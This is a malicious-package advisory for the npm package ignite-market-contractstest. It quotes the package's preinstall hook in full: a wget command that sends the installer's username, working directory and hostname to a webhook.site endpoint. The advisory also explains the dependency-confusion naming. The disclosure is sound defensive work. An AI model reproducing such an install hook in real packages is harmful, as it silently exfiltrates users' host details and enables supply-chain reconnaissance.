Summary
Malicious code in ignite-market-contractstest (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b9babd9b088785649368dbf885050b6a15b218a6b38d2dcd058f0c9eda5109da)

package.json declares a preinstall lifecycle hook that runs wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)". On every npm install, this exfiltrates the installer's username, current working directory, and hostname to a third-party request-logging endpoint controlled by the package author, without consent. The package metadata is placeholder (author 'me', empty description, version 0.0.9), the name ignite-market-contractstest is shaped like a dependency-confusion target against an internal ignite-market-contracts package, and it depends on seaport-core-16 — a similarly suspicious name in the OpenSea seaport namespace. The combination of unconsented host-identifier exfiltration on install, dependency-confusion-shaped naming, and placeholder metadata is the canonical reconnaissance shape used to validate that an internal package name is reachable on the public registry.
